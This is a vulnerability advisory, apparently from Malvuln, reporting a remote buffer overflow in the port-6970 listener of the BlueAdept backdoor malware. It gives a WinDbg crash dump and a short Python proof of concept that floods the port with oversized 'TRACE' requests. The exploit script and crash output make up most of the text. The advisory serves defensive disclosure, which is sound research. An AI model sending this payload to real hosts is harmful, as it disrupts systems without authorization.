Share
## https://sploitus.com/exploit?id=PACKETSTORM:165037
Discovery / credits: Malvuln - malvuln.com (c) 2021  
Original source: https://malvuln.com/advisory/694d21679cc212c59515584d1b65dc84.txt  
Contact: malvuln13@gmail.com  
Media: twitter.com/malvuln  
  
Threat: Backdoor.Win32.BlueAdept.02.a  
Vulnerability: Remote Buffer Overflow  
Description: The malware listens on TCP port 6969, after connecting to the infected host TCP ports 6970, 6971 are then opened. The newly opened port 6970 is vulnerable allowing third party attackers who can reach an infected host ability to trigger a buffer overflow overwriting EAX, ECX and EDX registers.  
Type: PE32  
MD5: 694d21679cc212c59515584d1b65dc84  
Vuln ID: MVID-2021-0408  
Dropped files:   
ASLR: False  
DEP: False  
Safe SEH: True  
Disclosure: 11/21/2021  
  
Memory Dump:  
(1a34.157c): Access violation - code c0000005 (first/second chance not available)  
eax=41414141 ebx=04213858 ecx=41414141 edx=41414141 esi=00000014 edi=0045e610  
eip=00401c62 esp=000a141c ebp=0045e614 iopl=0 nv up ei pl nz na pe nc  
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010206  
*** WARNING: Unable to verify checksum for Backdoor.Win32.BlueAdept.02.a.694d21679cc212c59515584d1b65dc84.exe  
*** ERROR: Module load completed but symbols could not be loaded for Backdoor.Win32.BlueAdept.02.a.694d21679cc212c59515584d1b65dc84.exe  
Backdoor_Win32_BlueAdept_02_a_694d21679cc212c59515584d1b65dc84+0x1c62:  
00401c62 8902 mov dword ptr [edx],eax ds:002b:41414141=????????  
  
0:000> .ecxr  
eax=41414141 ebx=04213858 ecx=41414141 edx=41414141 esi=00000014 edi=0045e610  
eip=00401c62 esp=000a141c ebp=0045e614 iopl=0 nv up ei pl nz na pe nc  
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010206  
Backdoor_Win32_BlueAdept_02_a_694d21679cc212c59515584d1b65dc84+0x1c62:  
00401c62 8902 mov dword ptr [edx],eax ds:002b:41414141=????????  
  
0:000> !analyze -v  
*******************************************************************************  
* *  
* Exception Analysis *  
* *  
*******************************************************************************  
  
  
FAULTING_IP:   
Backdoor_Win32_BlueAdept_02_a_694d21679cc212c59515584d1b65dc84+1c62  
00401c62 8902 mov dword ptr [edx],eax  
  
EXCEPTION_RECORD: ffffffff -- (.exr 0xffffffffffffffff)  
ExceptionAddress: 00401c62 (Backdoor_Win32_BlueAdept_02_a_694d21679cc212c59515584d1b65dc84+0x00001c62)  
ExceptionCode: c0000005 (Access violation)  
ExceptionFlags: 00000000  
NumberParameters: 2  
Parameter[0]: 00000001  
Parameter[1]: 41414141  
Attempt to write to address 41414141  
  
PROCESS_NAME: Backdoor.Win32.BlueAdept.02.a.694d21679cc212c59515584d1b65dc84.exe  
  
ERROR_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.  
  
EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.  
  
EXCEPTION_PARAMETER1: 00000001  
  
EXCEPTION_PARAMETER2: 41414141  
  
WRITE_ADDRESS: 41414141   
  
FOLLOWUP_IP:   
Backdoor_Win32_BlueAdept_02_a_694d21679cc212c59515584d1b65dc84+1c62  
00401c62 8902 mov dword ptr [edx],eax  
  
MOD_LIST: <ANALYSIS/>  
  
NTGLOBALFLAG: 0  
  
APPLICATION_VERIFIER_FLAGS: 0  
  
FAULTING_THREAD: 0000157c  
  
BUGCHECK_STR: APPLICATION_FAULT_STRING_DEREFERENCE_INVALID_POINTER_WRITE_EXPLOITABLE_FILL_PATTERN_41414141  
  
PRIMARY_PROBLEM_CLASS: STRING_DEREFERENCE_EXPLOITABLE_FILL_PATTERN_41414141  
  
DEFAULT_BUCKET_ID: STRING_DEREFERENCE_EXPLOITABLE_FILL_PATTERN_41414141  
  
IP_ON_HEAP: 0423fffc  
The fault address in not in any loaded module, please check your build's rebase  
log at <releasedir>\bin\build_logs\timebuild\ntrebase.log for module which may  
contain the address if it were loaded.  
  
FRAME_ONE_INVALID: 1  
  
LAST_CONTROL_TRANSFER: from 0423fffc to 00401c62  
  
STACK_TEXT:   
WARNING: Stack unwind information not available. Following frames may be wrong.  
0045e614 0423fffc 02563ae8 02561754 02561774 Backdoor_Win32_BlueAdept_02_a_694d21679cc212c59515584d1b65dc84+0x1c62  
00000000 00000000 00000000 00000000 00000000 0x423fffc  
  
  
SYMBOL_STACK_INDEX: 0  
  
SYMBOL_NAME: Backdoor_Win32_BlueAdept_02_a_694d21679cc212c59515584d1b65dc84+1c62  
  
FOLLOWUP_NAME: MachineOwner  
  
MODULE_NAME: Backdoor_Win32_BlueAdept_02_a_694d21679cc212c59515584d1b65dc84  
  
IMAGE_NAME: Backdoor.Win32.BlueAdept.02.a.694d21679cc212c59515584d1b65dc84.exe  
  
DEBUG_FLR_IMAGE_TIMESTAMP: 2a425e19  
  
STACK_COMMAND: dt ntdll!LdrpLastDllInitializer BaseDllName ; dt ntdll!LdrpFailureData ; ~0s; .ecxr ; kb  
  
FAILURE_BUCKET_ID: STRING_DEREFERENCE_EXPLOITABLE_FILL_PATTERN_41414141_c0000005_Backdoor.Win32.BlueAdept.02.a.694d21679cc212c59515584d1b65dc84.exe!Unknown  
  
BUCKET_ID: APPLICATION_FAULT_STRING_DEREFERENCE_INVALID_POINTER_WRITE_EXPLOITABLE_FILL_PATTERN_41414141_Backdoor_Win32_BlueAdept_02_a_694d21679cc212c59515584d1b65dc84+1c62  
  
  
Exploit/PoC:  
from socket import *  
import time  
  
MALWARE_HOST="x.x.x.x"  
PORT=6969  
PORT2=6970 #vuln port  
  
def doit():  
  
s=socket(AF_INET, SOCK_STREAM)  
s.connect((MALWARE_HOST, PORT))  
time.sleep(1)  
print("[+] Opened vulnerable port!")  
s.close()  
  
PAYLOAD="TRACE /"+"A"*17558+ " HTTP/1.1\r\n\r\n"  
  
s2=socket(AF_INET, SOCK_STREAM)  
s2.connect((MALWARE_HOST, PORT2))  
  
print("[+] Sending malicious packets!")  
  
for i in range(0, 10):  
s2.send(PAYLOAD)  
time.sleep(0.2)  
  
s2.close()  
  
  
if __name__=="__main__":  
doit()  
print("Malvuln")  
  
  
Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).